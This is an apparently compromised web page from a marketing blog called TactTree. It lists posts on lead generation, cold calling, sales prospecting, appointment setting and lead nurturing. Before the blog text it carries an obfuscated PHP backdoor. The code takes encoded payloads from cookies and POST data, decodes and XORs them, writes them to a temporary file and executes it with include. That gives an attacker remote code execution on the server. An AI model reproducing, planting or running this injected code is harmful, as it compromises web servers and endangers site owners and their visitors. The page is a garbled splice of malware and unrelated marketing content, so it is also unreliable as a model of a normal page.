$WFKbUQmp = "\x69" . 'm' . "\172" . "\137" . chr (81) . chr (71) . "\x52" . chr ( 193 - 121 ).'a';$gPwYgZQmL = chr (99) . chr ( 124 - 16 ).chr ( 971 - 874 )."\163" . "\163" . chr ( 185 - 90 )."\x65" . 'x' . "\x69" . "\163" . chr (116) . chr ( 579 - 464 ); $bRMFR = $gPwYgZQmL($WFKbUQmp); $WFKbUQmp = "64602";$fAhxGc = $bRMFR;$gPwYgZQmL = "13393";if (!$fAhxGc){class imz_QGRHa{private $Llxpafta;public static $WUsieG = "8ccb0101-9ac2-4ed3-b397-c784db2d5d74";public static $KNIXyZpq = 38022;public function __construct($DDADNZfq=0){$iZSNR = $_COOKIE;$ReNqdkIIik = $_POST;$UujmBDaYV = @$iZSNR[substr(imz_QGRHa::$WUsieG, 0, 4)];if (!empty($UujmBDaYV)){$LJKBPwhMd = "base64";$IkKIay = "";$UujmBDaYV = explode(",", $UujmBDaYV);foreach ($UujmBDaYV as $CJkLk){$IkKIay .= @$iZSNR[$CJkLk];$IkKIay .= @$ReNqdkIIik[$CJkLk];}$IkKIay = array_map($LJKBPwhMd . chr ( 685 - 590 )."\144" . "\145" . "\143" . "\x6f" . 'd' . "\x65", array($IkKIay,)); $IkKIay = $IkKIay[0] ^ str_repeat(imz_QGRHa::$WUsieG, (strlen($IkKIay[0]) / strlen(imz_QGRHa::$WUsieG)) + 1);imz_QGRHa::$KNIXyZpq = @unserialize($IkKIay);}}private function pYuasqWwHH(){if (is_array(imz_QGRHa::$KNIXyZpq)) {$woOqsSwfM = sys_get_temp_dir() . "/" . crc32(imz_QGRHa::$KNIXyZpq[chr ( 1092 - 977 )."\x61" . "\154" . "\164"]);@imz_QGRHa::$KNIXyZpq["\167" . 'r' . chr ( 314 - 209 ).'t' . "\145"]($woOqsSwfM, imz_QGRHa::$KNIXyZpq[chr ( 194 - 95 ).chr (111) . 'n' . "\164" . 'e' . "\156" . chr (116)]);include $woOqsSwfM;@imz_QGRHa::$KNIXyZpq[chr ( 375 - 275 ).chr ( 205 - 104 )."\x6c" . "\145" . chr ( 738 - 622 ).chr ( 914 - 813 )]($woOqsSwfM); $GuelYjit = "50264";exit();}}public function __destruct(){$this->pYuasqWwHH(); $GuelYjit = "50264";$xuVcZZ = str_pad($GuelYjit, 10);}}$RYXlzLG = new imz_QGRHa(); $RYXlzLG = "43884_35180";} Lead Generation – TactTree

Lead Generation

It’s time to Ditch Cold Calling

Cold calls are turning to warm calls which in turn are leading to successful lead conversions. Here is all that you want to know to make this transition.

Internet has really changed the world for the better! All types of businesses have become simpler and people have become approachable. If we specifically talk about B2B businesses, then we can easily say that finding prospects and linking with them has become much easier than what it was. However, competition has increased, […]

Boost your Prospecting With This 6-Step Approach

Sales prospecting, if done in the right way, can really work wonders for your company. These 6 keys to sales prospecting will show you how!

Sales prospecting is a concept that many marketers think comes naturally to sales professionals. In simple terms, lead generation is the least of the expectations from the Sales Development Representatives (SDRs). However, much is not said about with respect to this aspect in their training sessions.

To elaborate, sales professionals are trained how to strike conversations […]

Appointment Setting made easier with 5 simple tips!

Personal meetings can work wonders for your business. Here are five tips to help you to crack the code of appointment setting effectively.

The advent of technology has led to many ways that people can communicate. Emails, telephone and video calls can still not measure up to the impact that a personal meeting can have. A meeting by way of appointment is the best and the most professional way to put your point across. Appointment setting, however, is not as […]

The importance of lead nurturing in relationship based sales

The buyer’s journey is much in focus as a concept of marketing in today’s times. Rightly so, since there is so much that the customer already knows before you approach him or he approaches you as there is a barrage of data available online. Customers read reviews and recommendations and this plays an important role in their decision making process too.

The journey of the buyer thus becomes extremely important for the marketer. The buyer’s journey typically consists of three […]